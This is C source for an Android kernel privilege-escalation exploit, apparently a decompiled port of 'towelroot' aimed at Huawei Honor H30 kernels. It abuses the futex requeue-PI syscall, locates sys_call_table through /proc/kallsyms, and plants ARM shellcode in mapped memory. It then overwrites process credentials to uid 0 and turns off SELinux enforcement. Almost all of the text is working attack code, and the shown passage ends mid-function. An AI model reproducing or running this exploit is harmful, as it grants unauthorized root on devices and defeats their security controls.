#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/utsname.h>
#include "util.h"
#include <sys/wait.h>
#include "log.h"

//#define  DEBUG

#ifdef DEBUG
#define printff    printf
#else
#define printff(...)
#endif

typedef enum __bool {
	false = 0, true = 1,
} bool;
typedef unsigned int _DWORD;
typedef unsigned char _BYTE;
typedef unsigned int u4;

typedef struct _phone_info {
	char band[12];
	char model[32];
	char release[64];
	char version[64];
	unsigned int a;
	unsigned int b;
	unsigned int c;
} phone_info_t, *phone_info_ptr;

phone_info_t g_supported_phones[] = {
// towelroot__2.6_kernel.so____ 172
		{ "", "", "", "", 0x14, 1, 4 }, { "Honor", "HONOR H30-L01",
				"3.0.8-g7973e72", "#1 SMP PREEMPT Sun Jun 1 10:16:09 CST 2014",
				0x14, 1, 4 }, { "Honor", "HONOR H30-L01", "3.0.8-g69b9442",
				"#1 SMP PREEMPT Wed Jul 30 18:39:01 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L01", "3.0.8-g69b9442",
				"#1 SMP PREEMPT Wed Aug 6 21:12:03 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L01", "3.0.8-ged35d08",
				"#1 SMP PREEMPT Wed Jul 9 15:35:41 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L01", "3.0.8-g54875c5",
				"#1 SMP PREEMPT Thu Jun 26 23:31:27 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L01", "3.0.8-g65a73b9",
				"#1 SMP PREEMPT Tue Jul 15 17:42:43 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L02", "3.0.8-g5e9d5b9",
				"#1 SMP PREEMPT Tue Jun 10 01:26:29 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L02", "3.0.8-g54875c5",
				"#1 SMP PREEMPT Wed Jun 18 01:22:50 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L02", "3.0.8-g54875c5",
				"#1 SMP PREEMPT Thu Jun 26 23:31:27 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L02", "3.0.8-g65a73b9",
				"#1 SMP PREEMPT Tue Jul 15 17:42:43 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L02", "3.0.8-g69b9442",
				"#1 SMP PREEMPT Wed Jul 30 18:39:01 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L02", "3.0.8-gbeeea6e",
				"#1 SMP PREEMPT Wed Aug 6 16:53:34 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L01M", "3.0.8-g69b9442",
				"#1 SMP PREEMPT Wed Jul 30 18:39:01 CST 2014", 0x14, 1, 4 }, {
				"Honor", "HONOR H30-L01M", "3.0.8-g1eefcc5",
				"#1 SMP PREEMPT Mon Jun 30 20:17:03 CST 2014", 0x14, 1, 4 }, {
				"HUAWEI", "HONOR H30-L01", "3.0.8-g69b9442",
				"#1 SMP PREEMPT Wed Jul 30 18:39:01 CST 2014", 0x14, 1, 4 }, };

int g_supported_phones_count = sizeof(g_supported_phones)
		/ sizeof(phone_info_t);
//volatile u4 dword_D110 = 0xD020;
volatile u4 _data_start = 0xA0000000;
volatile u4 dword_D23C = 0x20;
volatile u4 unk_D240[6] = { 0xE92D4010, 0xE3A00000, 0xE59F4004, 0xE12FFF34,
		0xE8BD8010, 0xDEADBEEF };
volatile u4 KERNEL_BASE = 0xC0000000;
volatile u4 dword_D680;
volatile u4 dword_D684;
volatile u4 dword_D688;
volatile u4 dword_D68C;
volatile u4 swag;
volatile u4 dword_D694;
volatile u4 dword_D698[128];
volatile u4 dword_D898;
volatile phone_info_t* g_this_phone;
volatile u4 swag2;
volatile u4 dword_D8A4;
volatile u4 dword_D8A8;
volatile u4 dword_D8AC;
volatile u4 dword_D8B0;
volatile u4 dword_E974;
volatile u4 dword_E978;
volatile u4 dword_D8BC;
volatile u4 dword_D8C0;
volatile u4 dword_D8C4;
volatile u4 dword_D8C8;
volatile u4 algn_D8CC;
volatile u4 dword_D8D0;
volatile u4 algn_D8D4;
volatile u4 found_selinux_key;
volatile u4 sel_enforcing;
volatile _DWORD *victim_syscall_addr;
volatile u4 my_sgid;
volatile u4 my_tid;
volatile u4 my_euid;
volatile u4 my_ppid;
volatile u4 my_egid;
volatile u4 my_suid;
volatile u4 my_uid;
volatile u4 my_pid;
volatile u4 pivot_helper_ti;
volatile u4 my_gid;
volatile u4 g_offset = 4;

int sub_9580(unsigned int *a1) {
	unsigned int v1; // r3@1
	int v2; // r2@1

	v1 = *a1;
	v2 = 0;
	while (1) {
		++v2;
		if (v1 < KERNEL_BASE)
			return 0;
		if ((unsigned int *) v1 == a1)
			break;
		v1 = *(_DWORD *) v1;
		if (v2 == 256)
			return 0;
	}
	return 1;
}

int sub_95CC() {
	_DWORD *pvictim_syscall_addr; // r3@1
	signed int result; // r0@2
	int v2; // r1@4
	unsigned int v3; // r1@4
	unsigned int v4; // r6@7
	int v5; // r7@12
	//unsigned int v6; // r2@12
	int v7; // r3@12
	int v8; // r9@12
	int v9; // r11@12
	int v10; // r1@12
	int v11; // r0@13
	int v12; // t1@13
	int v13; // r4@13
	int v14; // r7@15
	int v15; // r10@20
	unsigned int v16; // r7@20
	int v17; // r6@20
	//unsigned int v18; // r4@20
	unsigned int v19; // r1@24
	signed int v20; // r0@28
	int v21; // r3@31
	//int v22; // r4@31
	unsigned int v23; // r5@31
	unsigned int v24; // r2@31
	int v25; // r1@32
	int v26; // r0@34
	bool v27; // zf@34
	signed int v28; // r0@37
	unsigned int v29; // t1@40
	int v30; // r2@45
	int v31; // r1@51
	int v32; // ST64_4@51
	int v33; // r11@52
	int v34; // r8@52
	unsigned int *v35; // r2@53
	unsigned int *v36; // t1@53
	unsigned int *v37; // r0@53
	int v38; // r0@55
	unsigned int v39; // r9@55
	unsigned int v40; // t1@55
	unsigned int v41; // r10@55
	bool v42; // zf@55
	unsigned int v43; // r2@61
	unsigned int v44; // r3@62
	int v45; // r2@63
	bool v46; // zf@63
	signed int v47; // r2@66
	int v48; // r3@71
	int v49; // ST44_4@80
	unsigned int v50; // r3@81
	unsigned int v51; // r12@84
	int v52; // r2@86
	unsigned int v53; // r3@87
	int v54; // r2@88
	int v55; // [sp+Ch] [bp-8Ch]@28
	int v56; // [sp+10h] [bp-88h]@20
	int v57; // [sp+10h] [bp-88h]@32
	int v58; // [sp+10h] [bp-88h]@61
	unsigned int v59; // [sp+18h] [bp-80h]@12
	int v60; // [sp+24h] [bp-74h]@0
	int v61; // [sp+28h] [bp-70h]@12
	int v62; // [sp+40h] [bp-58h]@12
	unsigned int v63; // [sp+6Ch] [bp-2Ch]@4
	unsigned int tmp;

	pvictim_syscall_addr = victim_syscall_addr;
	if (!victim_syscall_addr)
		goto LABEL_2;
	v2 = victim_syscall_addr[2];
	*victim_syscall_addr = v2;
	pvictim_syscall_addr[1] = v2;
	v3 = *(_DWORD *) ((unsigned int) &v63 & 0xFFFFE000);
	v63 = (unsigned int) &v63 & 0xFFFFE000;
	if (v3 > KERNEL_BASE)
		goto LABEL_2;
	if (KERNEL_BASE < *(_DWORD *) (((unsigned int) &v63 & 0xFFFFE000) + 4))
		goto LABEL_2;
	if (KERNEL_BASE < *(_DWORD *) (((unsigned int) &v63 & 0xFFFFE000) + 8))
		goto LABEL_2;
	v4 = *(_DWORD *) (((unsigned int) &v63 & 0xFFFFE000) + 0xC);
	if (KERNEL_BASE > v4
			|| KERNEL_BASE
					> *(_DWORD *) (((unsigned int) &v63 & 0xFFFFE000) + 0x10))
		goto LABEL_2;
	if (KERNEL_BASE < *(_DWORD *) v4
			|| *(_DWORD *) (v4 + 4) != ((unsigned int) &v63 & 0xFFFFE000))
		return -2;
	v5 = 0;
	v61 = v4 + 0x400;
	//v6 = 0x104u;
	v7 = -8 - v4;
	v8 = *(_DWORD *) (((unsigned int) &v63 & 0xFFFFE000) + 0xC);
	v9 = *(_DWORD *) (((unsigned int) &v63 & 0xFFFFE000) + 0xC);
	v62 = 0;
	v10 = 0;
	v59 = 0;
	while (1) {
		v12 = *(_DWORD *) v9;
		v9 += 4;
		v11 = v12;
		v13 = v5 + 4;
		if (v10 || my_tid != v11 || my_pid != *(_DWORD *) (v13 + v4)) {
			v14 = v10;
		} else {
			v56 = v5;
			v15 = v9 + 24;
			v16 = v4;
			v59 = *(_DWORD *) (v9 + 8);
			v17 = v13;
			//v18 = v6;
			while (1) {
				if (!*(_DWORD *) v15 && !*(_DWORD *) (v15 + 4)
						&& !*(_DWORD *) (v15 + 8)) {
					v19 = KERNEL_BASE; //**(_DWORD **)((char *)&dword_D110 + v18); // fuck
					if (*(_DWORD *) (v15 - 8) > v19
							&& v19 < *(_DWORD *) (v15 - 4)) {
						v55 = v7;
						v20 = sub_9580((unsigned int *) (v15 - 8));
						v7 = v55;
						if (v20) {
							//v6 = v18;
							v62 = v55 + v15;
							v13 = v17;
							v4 = v16;
							v14 = v56;
							goto LABEL_16;
						}
					}
				}
				if (v61 <= (unsigned int) (v15 + 4))
					break;
				v15 += 4;
			}
			//v6 = v18;
			v13 = v17;
			v4 = v16;
			v14 = v56;
		}
		LABEL_16: if (*(_BYTE *) v8 == 112 && *(_BYTE *) (v8 + 1) == 118
				&& *(_BYTE *) (v8 + 2) == 82 && *(_BYTE *) (v8 + 3) == 95)
			break;
		if (v13 == 0x1000) {
			v21 = 0;
			//v22 = &dword_D110; // fuck
			//v23 = v6;
			v24 = 0;
			goto LABEL_32;
		}
		v10 = v14;
		++v8;
		v5 = v13;
	}
	//v22 = &dword_D110; // fuck
	//v23 = v6;
	v30 = v8 - v4 - 8;
	v21 = v30;
	v60 = v4 + v30;
	v24 = *(_DWORD *) (v4 + v30);
	LABEL_32: v25 = v60;
	v57 = v21 - 60;
	while (1) {
		if (v24 > KERNEL_BASE) {
			v26 = *(_DWORD *) (v24 + 12);
			v27 = v26 == 0x43736564;
			if (v26 != 0x43736564)
				v27 = v26 == 0x44656144;
			v28 = v27 ? 4 : 1;
			if (*(_DWORD *) (v24 + 4 * v28) == my_uid
					&& *(_DWORD *) (v24 + 4 * (v28 + 1)) == my_gid
					&& *(_DWORD *) (v24 + 4 * (v28 + 2)) == my_suid
					&& *(_DWORD *) (v24 + 4 * (v28 + 3)) == my_sgid
					&& *(_DWORD *) (v24 + 4 * (v28 + 4)) == my_euid
					&& *(_DWORD *) (v24 + 4 * (v28 + 5)) == my_egid)
				break;
		}
		v29 = *(_DWORD *) (v25 - 4);
		v25 -= 4;
		v24 = v29;
		if (v21 == v57) {
			result = 0;
			goto LABEL_70;
		}
		v21 -= 4;
	}
	v31 = 0;
	v32 = &sel_enforcing;
	*(_DWORD *) (v24 + 4 * (v28 + 2)) = 0;
	*(_DWORD *) (v24 + 4 * (v28 + 1)) = 0;
	*(_DWORD *) (v24 + 4 * v28) = 0;
	*(_DWORD *) (v24 + 4 * (v28 + 5)) = 0;
	*(_DWORD *) (v24 + 4 * (v28 + 4)) = 0;
	*(_DWORD *) (v24 + 4 * (v28 + 3)) = 0;
	*(_DWORD *) (v24 + 4 * (v28 + 7)) = 0;
	*(_DWORD *) (v24 + 4 * (v28 + 6)) = 0;
	*(_DWORD *) (v24 + 4 * (v28 + 10)) = -1;
	*(_DWORD *) (v24 + 4 * (v28 + 9)) = -1;
	*(_DWORD *) (v24 + 4 * (v28 + 12)) = -1;
	*(_DWORD *) (v24 + 4 * (v28 + 11)) = -1;
	*(_DWORD *) (v24 + 4 * (v28 + 14)) = -1;
	*(_DWORD *) (v24 + 4 * (v28 + 13)) = -1;
	*(_DWORD *) (v24 + 4 * (v28 + 16)) = -1;
	*(_DWORD *) (v24 + 4 * (v28 + 15)) = -1;
	if (*(_DWORD *) v32) {
		v33 = found_selinux_key;
		v34 = v24 + 4 * (v33 + 17 + v28);
		tmp = *(_DWORD *) v34;
		if (g_this_phone->b) {
			*(_DWORD *) tmp = 1;
			*(_DWORD *) (tmp + 4) = 1;
		} else {
			while (1) {
				v36 = *(unsigned int **) v34;
				v34 += 4;
				v35 = v36;
				v37 = v36;
				if (v36) {
					if ((unsigned int) v35 > KERNEL_BASE) {
						v40 = *v37;
						v38 = (int) (v37 + 1);
						v39 = v40;
						v41 = v35[2];
						v42 = v41 == 0;
						if (!v41)
							v42 = v39 == v35[1];
						if (v42 && v39 > 0xA)
							break;
					}
				}
				++v31;
				if (v31 == 3)
					goto LABEL_61;
			}
			found_selinux_key = v33 + v31;
			*(_DWORD *) v38 = 1;
			*v35 = 1;
		}
	}
	LABEL_61: v43 = KERNEL_BASE;
	v58 = &KERNEL_BASE;
	if (v59 <= v43)
		goto LABEL_94;
	v44 = *(_DWORD *) (v21 + v59);
	if (v44 <= v43)
		goto LABEL_94;
	v45 = *(_DWORD *) (v44 + 12);
	v46 = v45 == 0x43736564;
	if (v45 != 0x43736564)
		v46 = v45 == 0x44656144;
	v47 = v46 ? 4 : 1;
	if (*(_DWORD *) (v44 + 4 * v47) != my_uid
			|| *(_DWORD *) (v44 + 4 * (v47 + 1)) != my_gid
			|| *(_DWORD *) (v44 + 4 * (v47 + 2)) != my_suid
			|| *(_DWORD *) (v44 + 4 * (v47 + 3)) != my_sgid
			|| *(_DWORD *) (v44 + 4 * (v47 + 4)) != my_euid
			|| *(_DWORD *) (v44 + 4 * (v47 + 5)) != my_egid) {
		LABEL_94: result = 1;
	} else {
		v49 = &sel_enforcing;
		*(_DWORD *) (v44 + 4 * (v47 + 2)) = 0;
		*(_DWORD *) (v44 + 4 * (v47 + 1)) = 0;
		*(_DWORD *) (v44 + 4 * v47) = 0;
		*(_DWORD *) (v44 + 4 * (v47 + 5)) = 0;
		*(_DWORD *) (v44 + 4 * (v47 + 4)) = 0;
		*(_DWORD *) (v44 + 4 * (v47 + 3)) = 0;
		*(_DWORD *) (v44 + 4 * (v47 + 7)) = 0;
		*(_DWORD *) (v44 + 4 * (v47 + 6)) = 0;
		*(_DWORD *) (v44 + 4 * (v47 + 10)) = -1;
		*(_DWORD *) (v44 + 4 * (v47 + 9)) = -1;
		*(_DWORD *) (v44 + 4 * (v47 + 12)) = -1;
		*(_DWORD *) (v44 + 4 * (v47 + 11)) = -1;
		*(_DWORD *) (v44 + 4 * (v47 + 14)) = -1;
		*(_DWORD *) (v44 + 4 * (v47 + 13)) = -1;
		*(_DWORD *) (v44 + 4 * (v47 + 16)) = -1;
		*(_DWORD *) (v44 + 4 * (v47 + 15)) = -1;
		if (*(_DWORD *) v49
				&& (v50 =
						*(_DWORD *) (v44 + 4 * (v47 + found_selinux_key + 17)), v50
						> *(_DWORD *) v58)) {
			*(_DWORD *) v50 = 1;
			*(_DWORD *) (v50 + 4) = 1;
			result = 2;
		} else {
			result = 2;
		}
	}
	LABEL_70: if (v62) {
		v48 = v4;
		while (dword_D680 != *(_DWORD *) (v48 + v14)) {
			v48 = *(_DWORD *) (v48 + v62) - v62;
			if (v4 == v48)
				goto LABEL_84;
		}
		dword_D684 = *(_DWORD *) (v48 + 4);
	}
	LABEL_84: v51 = KERNEL_BASE;
	if (dword_D684 > v51 && dword_D688) {
		v52 = dword_D688 + dword_D684 - 32;
		if (*(_DWORD *) v52 == 126) {
			v53 = *(_DWORD *) (dword_D688 + dword_D684 + 4);
			*(_DWORD *) (dword_D688 + dword_D684 - 4) = dword_D688 + dword_D684
					- 8;
			*(_DWORD *) (v52 + 32) = v53;
			*(_DWORD *) (v52 + 24) = v52 + 24;
			if (v53 > v51) {
				v54 = *(_DWORD *) (v53 + 8);
				*(_DWORD *) (v53 + 4) = *(_DWORD *) v53;
				*(_DWORD *) (v53 + 12) = v54;
				return result;
			}
		}
		LABEL_2: result = -1;
	}
	return result;
}

int sub_9E48(int a1) {
	return (a1 & 0xFF0000u) - 0x20001 <= 0x9DFFFE;
}

int pi_state_helper_(int a1) {
	int v1; // r5@1
	int v2; // r4@1
	prctl(15, "pvR_timewQ1", 0, 0, 0);
	v1 = a1;
	v2 = syscall(224);
	if (!setpriority(0, 0, v1)) {
		dword_D68C = 1;
		dword_D680 = v2;
		if (!syscall(240, &swag, 6, 1, 0, 0, 0))
			pthread_exit(0);
	}
	return 0;
}

int victim_semctl() {
	int v0; // r0@1
	int v1; // r2@1
	int v2; // r3@1
	int v3; // r1@1
	int v4; // r6@5
	struct timeval v6; // [sp+10h] [bp-28h]@9

	v0 = syscall(224);
	v1 = 0;
	v2 = 0;
	v3 = dword_D898;
	dword_D694 = v0;
	do {
		++v2;
		dword_D698[v1] = v3;
		v1 = v2;
	} while (v2 != 128);
	v4 = syscall(299, 0, 250, 432);
	if (v4 < 0)
		exit(-1);
	if (!setpriority(0, 0, 12)) {
		syscall(240, &swag2, 11, 0, 0, &swag, 0);
		while (!dword_D8A4) {
			syscall(300, v4, 250, 17, &dword_D698[0]); //fuck
			dword_D8A8 = 1;
			v6.tv_sec = 20;
			v6.tv_usec = 0;
			select(0, 0, 0, 0, &v6);
		}
		pthread_exit(0);
	}
	return 0;
}

void sub_A040() {
	syscall(224);
	if (dword_D8AC) {
		dword_D8AC = 0;
	} else if (dword_D8B0 == 1) {
		dword_D8B0 = 2;
		do
			usleep(0x186A0u);
		while (dword_D8B0 == 2);
		dword_D8B0 = 4;
	}
	return;
}

int sub_A0AC(int a1) {
	int v1; // r4@1
	int v3; // [sp+14h] [bp-Ch]@1

	v1 = a1;
	v3 = syscall(224);
	write(v1, &v3, 4u);
	if (!setpriority(0, 0, 13) && bsd_signal(12, sub_A040) != -1
			&& !syscall(240, &swag, 6, 1, 0, 0, 0))
		pthread_exit(0);
	return 0;
}

int sub_A150(const char *a1) {
	const char *v1; // r10@1
	FILE *fd_sym; // r5@1
	signed int result; // r0@2
	int v4; // r11@3
	u4 addr; // [sp+14h] [bp-234h]@3
	char v6; // [sp+1Bh] [bp-22Dh]@3
	char v7[512]; // [sp+1Ch] [bp-22Ch]@3
	int v8; // [sp+21Ch] [bp-2Ch]@1

	fd_sym = fopen("/proc/kallsyms", "r");
	if (fd_sym) {
		while (1) {
			while (1) {
				v4 = fscanf(fd_sym, "%p %c %s\n", &addr, &v6, &v7);
				if (v4)
					break;
				fscanf(fd_sym, "%s\n", &v7);
			}
			if (!strcmp(a1, &v7))
				break;
			if (v4 == -1) {
				fclose(fd_sym);
				return 0;
			}
		}
		fclose(fd_sym);
		result = 1;
	} else {
		result = -1;
	}
	return result;
}

FILE * sub_A264(const char *a1) {
	const char *v1; // r10@1
	FILE *result; // r0@1
	FILE *v3; // r5@1
	int v4; // r11@2
	FILE *v5; // [sp+14h] [bp-234h]@2
	char v6; // [sp+1Bh] [bp-22Dh]@2
	char v7[512]; // [sp+1Ch] [bp-22Ch]@2
	int v8; // [sp+21Ch] [bp-2Ch]@1

	v1 = a1;
	result = fopen("/proc/kallsyms", "r");
	v3 = result;
	if (result) {
		while (1) {
			while (1) {
				v4 = fscanf(v3, "%p %c %s\n", &v5, &v6, &v7);
				if (v4)
					break;
				fscanf(v3, "%s\n", &v7);
			}
			if (!strcmp(v1, &v7))
				break;
			if (v4 == -1) {
				fclose(v3);
				return 0;
			}
		}
		fclose(v3);
		result = v5;
	}
	return result;
}

int sub_A378() {
	unsigned int v0; // r12@1
	u4 v1; // r3@3
	u4 v2; // t1@3
	u4 v3; // r12@4
	u4 v4; // lr@4
	u4 v5; // r4@5
	u4 v6; // r5@5
	int v7; // r0@7
	FILE *v8; // r0@8

	v0 = 0xFFFF0000;
	do {
		v2 = *(_DWORD *) v0;
		v0 += 4;
		v1 = v2;
		if ((v2 & 0xFFFFF000) == 0xE59FF000) {
			v3 = v0 - 4;
			v4 = (v1 & 0xFFF) + 8;
			if ((unsigned int) (v4 + v3) >= 0xFFFF1000)
				exit(-1);
			v5 = *(_DWORD *) (v4 + v3);
			v6 = v5 + 112;
			if (prctl(21, 0, 0, 0, 0) >= 0)
				v6 = v5 + 136;
			v7 = sub_A150("sys_oabi_semop");
			if (v7) {
				if (v7 == -1)
					exit(-1);
				v6 += 24;
			}
			v8 = (FILE *) (((v6 + 99) & 0xFFFFFFE0) + 4 * v7 + 4);
			return (int) ((char *) v8 + 1100);
		}
	} while (v0 != 0xFFFF1000);
	v8 = sub_A264("sys_call_table");
	if (!v8)
		exit(-1);
	return (int) ((char *) v8 + 1100);
}

void *map_MAGIC() {
	void *v0; // r0@1
	void *v1; // r0@2
	void *result; // r0@3

	v0 = mmap((void *) 0xA0000000, 0x100000u, 3, 50, -1, 0);
	dword_E974 = (int) v0;
	if (v0 == (void *) -1 || (dword_D898 = (int) ((char *) v0 + 2048), v1 =
			mmap((void *) 0xBE0000, 0x20000u, 3, 50, -1, 0), dword_E978 =
			(int) v1, v1 == (void *) -1))
		exit(0);
	dword_D8BC = (int) ((char *) v1 + 0x10000);
	result = malloc(16 * dword_D23C);
	dword_D8C0 = (int) result;
	return result;
}

unsigned int sub_A508(unsigned int result, int a2) {
	unsigned int v2; // r4@1
	int v3; // r6@1
	int v4; // r3@2

	v2 = result;
	v3 = a2;
	if (result) {
		v4 = 0;
		do {
			if (v4 > 17) {
				usleep(0x186A0u);
				v4 = 0;
			}
			result = *(_DWORD *) (v2 + 4 * v4++);
			printff("[sub_A508]result: %x, KERNEL_BASE: %x\n", result, KERNEL_BASE);
		} while (result <= KERNEL_BASE || result == v3);
		if (!dword_D688)
			dword_D688 = result & 0x1FFF;
	}
	return result;
}

int search_good_num() {
	int i; // r0@5
	int v1; // r8@10
	int v2; // r10@10
	int v3; // r4@10
	int v4; // r3@11
	int v5; // r2@12
	int v6; // r3@12
	int v7; // r0@13
	int v8; // r4@16
	__pid_t v9; // r8@17
	int v10; // r0@17
	int v11; // r0@18
	void *v12; // r0@19
	int v13; // r10@23
	int v14; // r4@23
	int v15; // r9@23
	int v16; // r8@23
	int v17; // r6@23
	int v18; // r7@25
	int v19; // ST14_4@26
	int v20; // r4@29
	int v21; // r2@30
	int v22; // r3@30
	int v23; // r6@33
	int v24; // r7@33
	int v25; // r4@33
	int j; // r6@38
	int v27; // r5@40
	int v28; // r10@41
	int v29; // ST14_4@42
	int v30; // ST18_4@42
	__pid_t pid; // [sp+1Ch] [bp-4Ch]@20
	int v33; // [sp+24h] [bp-44h]@40
	int *pipedes; // [sp+28h] [bp-40h]@41
	int v35; // [sp+2Ch] [bp-3Ch]@1
	int v36[2]; // [sp+38h] [bp-30h]@16

	syscall(224);
	v35 = sub_A378();
	victim_syscall_addr = (_DWORD *) v35;
	printff("[search_good_num]0.1...\n");
	if (!syscall(240, &swag, 6, 1, 0, 0, 0)) {
		while (syscall(240, &swag2, 12, 1, 0, &swag, 0) != 1)
			usleep(0x186A0u);
		pthread_create((pthread_t *) &dword_D8C4, 0,
				(void *(*)(void *)) pi_state_helper_, (void *) 6);
		while (!dword_D68C) {
			usleep(0x186A0u);
		}
		printff("[search_good_num]0.2...\n");
		swag = 0;
		*(_DWORD *) __errno() = 0;
		syscall(240, &swag, 12, 1, 0, &swag, 0);
		while (!dword_D8A8)
			usleep(0xC350u);
		usleep(0x186A0u);
		printff("[search_good_num]0.3...\n");
		while (1) {
			v1 = dword_D898;
			v2 = -g_offset;
			v3 = dword_D898 - g_offset;

			if (dword_D898 != g_offset) {
				memset((void *) (dword_D898 - g_offset), 0, 0x400u);
                v4 = v3 + 32;
                *(_DWORD *)(v3 + 24) = v3 + 56;
                *(_DWORD *)(v1 + v2) = 133;
                *(_DWORD *)(v4 + 28) = v3 + 24;
                *(_DWORD *)(v3 + 32) = 139;
                *(_DWORD *)(v4 + 36) = v4;
			}
			syscall(224);
			printff("[search_good_num]0.4...dword_D898:%x, g_offset:%d\n", dword_D898, g_offset);
			v5 = dword_D8C8;
			v6 = dword_D23C;
			if (dword_D8C8 >= dword_D23C) {
				dword_D23C *= 2;
				v7 = (int) realloc((void *) dword_D8C0, 32 * v6);
				dword_D8C0 = v7;
				if (!v7) {
					while (1) {
						sleep(0x2710u);
						sleep(0x2710u);
					}
				}
				v5 = dword_D8C8;
			} else {
				v7 = dword_D8C0;
			}
			v8 = v7 + 16 * v5;
			*(_DWORD *) (v8 + 8) = 13;
			*(_DWORD *) (v8 + 4) = -1;
			printff("[search_good_num]0.5...\n");
			if (!pipe(v36)) {
				pthread_create((pthread_t *) v8, 0,
						(void *(*)(void *)) sub_A0AC, (void *) v36[1]);
				read(v36[0], (void *) (v8 + 4), 4u);
				++dword_D8C8;
				close(v36[0]);
				close(v36[1]);
			}
			v9 = *(_DWORD *) (v8 + 4);
			printff("[search_good_num]0.5.1...\n");
			v10 = sub_A508(dword_D898 - g_offset, 0);
			printff("[search_good_num]0.5.2...\n");
			*(_DWORD *) (v8 + 12) = v10;
			pivot_helper_ti = v10;
			printff("[search_good_num]0.6...\n");
			if (v10) {
				printff("[search_good_num]0.6.1... v10:%x\n", v10);
				v11 = sub_9E48(v10);
				if (v11) {
					printff("[search_good_num]0.6.2...\n");
					v12 = mmap((void *) ((pivot_helper_ti << 8) & 0xFFFFF000),
							0x2000u, 7, 50, -1, 0);
					algn_D8CC = v12;
					if (v12 != (void *) -1)
						break;
				}
			}
		}
		dword_D8D0 = v12;
		dword_D8B0 = 1;
		pid = v9;
		printff("[search_good_num]0.7...\n");
		kill(v9, 12);
		while (dword_D8B0 != 2)
			usleep(0x186A0u);
		v13 = dword_D898;
		v14 = dword_D8BC;
		v15 = -g_offset;
		v16 = dword_D898 - g_offset;
		v17 = dword_D898 == g_offset;
		if (dword_D8BC == 12)
			v17 |= 1u;
		v18 = v35 + 1;
		printff("[search_good_num]0.8...\n");
		if (!v17) {
			v19 = dword_D8BC - 12;
			memset((void *) (dword_D898 - g_offset), 0, 0x400u);
			memset((void *) (v14 - 44), 0, 0x400u);
			*(_DWORD *) (v13 + v15) = 133;
			*(_DWORD *) (v16 + 28) = 0;
			*(_DWORD *) (v14 - 12) = 139;
			*(_DWORD *) (v16 + 24) = v14 + 12;
			*(_DWORD *) (v19 + 36) = v18;
			*(_DWORD *) (v19 + 28) = v18;
		}
		dword_D8B0 = 3;
		do
			usleep(0x186A0u);
		while (dword_D8B0 == 3);
		printff("[search_good_num]0.9...\n");
		sub_A508(dword_D8BC - 12, v18);
		printff("[search_good_num]0.9.1...\n");
		//while (1);
		v20 = dword_D8D0;
		unk_D240[5] = (u4) sub_95CC;
		if (dword_D8D0) {
			memset((void *) dword_D8D0, 0, 0x2000u);
			v21 = 0;
			v22 = 0;
			do {
				v22 += 4;
				*(_DWORD *) (v20 + v21) = 0xE1A00000;
				v21 = v22;
			} while (v22 != 0x2000);
			memcpy((void *) (v20 + 4096), &unk_D240, 0x18u);
		}
		printff("[search_good_num]1.0...\n");
		usleep(0x186A0u);
		syscall(275);
		v23 = dword_D8BC;
		v24 = pivot_helper_ti;
		v25 = dword_D8BC - 12;
		if (dword_D8BC != 12) {
			memset((void *) (dword_D8BC - 44), 0, 0x400u);
			*(_DWORD *) (v23 - 12) = 139;
			*(_DWORD *) (v25 + 36) = v24;
			*(_DWORD *) (v25 + 32) = 0;
			*(_DWORD *) (v25 + 24) = 0;
			*(_DWORD *) (v25 + 28) = 0;
		}
		swag = 0;
		dword_D8AC = 1;
		kill(pid, 12);
		printff("[search_good_num]1.1...\n");
		while (!swag)
			usleep(0x186A0u);
		printff("[search_good_num]1.1.1...\n");
		swag = dword_D694 | 0x80000000;
		syscall(224);
		for (j = 0; j < dword_D8C8; ++j) {
			v27 = dword_D8C0 + 16 * j;
			v33 = dword_D8C0;
			if (pid != *(_DWORD *) (v27 + 4)) {
				pipedes = *(_DWORD **) (v27 + 12);
				v28 = dword_D898 - g_offset;
				if (dword_D898 != g_offset) {
					v29 = dword_D898;
					v30 = -g_offset;
					memset((void *) (dword_D898 - g_offset), 0, 0x400u);
					*(_DWORD *) (v29 + v30) = 133;
					*(_DWORD *) (v28 + 32) = 139;
					*(_DWORD *) (v28 + 68) = pipedes;
				}
				swag = 0;
				dword_D8AC = 1;
				printff("[search_good_num]1.2...\n");
				kill(*(_DWORD *) (v27 + 4), 12);
				while (!swag)
					usleep(0x186A0u);
				swag = dword_D694 | 0x80000000;
				pthread_join(*(_DWORD *) (v33 + 16 * j), 0);
			}
		}
		printff("[search_good_num]1.2.1...\n");
		swag = 0;
		dword_D8AC = 1;
		kill(dword_D680, 12);
		while (!swag) {
			printff("[search_good_num]1.2.1...\n");
			usleep(0x186A0u);
		}
		printff("[search_good_num]1.3...\n");
		swag = dword_D694 | 0x80000000;
		dword_D8A4 = 1;
		pthread_join(dword_D8C4, 0);
	}
	return 0;
}

int towelroot_main() {
	int fd_enf;
	int v7 = 0;
	ssize_t v8;
	int i;
	int j;
	int v14;
	int v24;
	size_t len_model;
	size_t len_version;
	size_t len_release;
	struct stat s_stat;
	struct utsname sysinfo;
	char buf[32];

	my_pid = getpid();
	my_tid = gettid();
	my_ppid = getppid();
	getresuid(&my_uid, &my_euid, &my_suid);
	getresgid(&my_gid, &my_egid, &my_sgid);

	prctl(15, "pvR_timewQ", 0, 0, 0);
	// if (argc != 2)
	//      exit(1);
	// strncpy((char *)argv[0], argv[1], strlen(argv[0]));

	LOGR("[main] start\n");
	v14 = uname(&sysinfo);
	if (v14) {
		g_this_phone = 0;
	} else {
		__system_property_get("ro.product.model", buf);
		len_model = strlen(buf);
		len_version = strlen(sysinfo.version);
		len_release = strlen(sysinfo.release);
		LOGR("[main]model: %s, release: %s\n", buf, sysinfo.release);
		g_this_phone = 0;
		for (i = 0; i != g_supported_phones_count; ++i) {
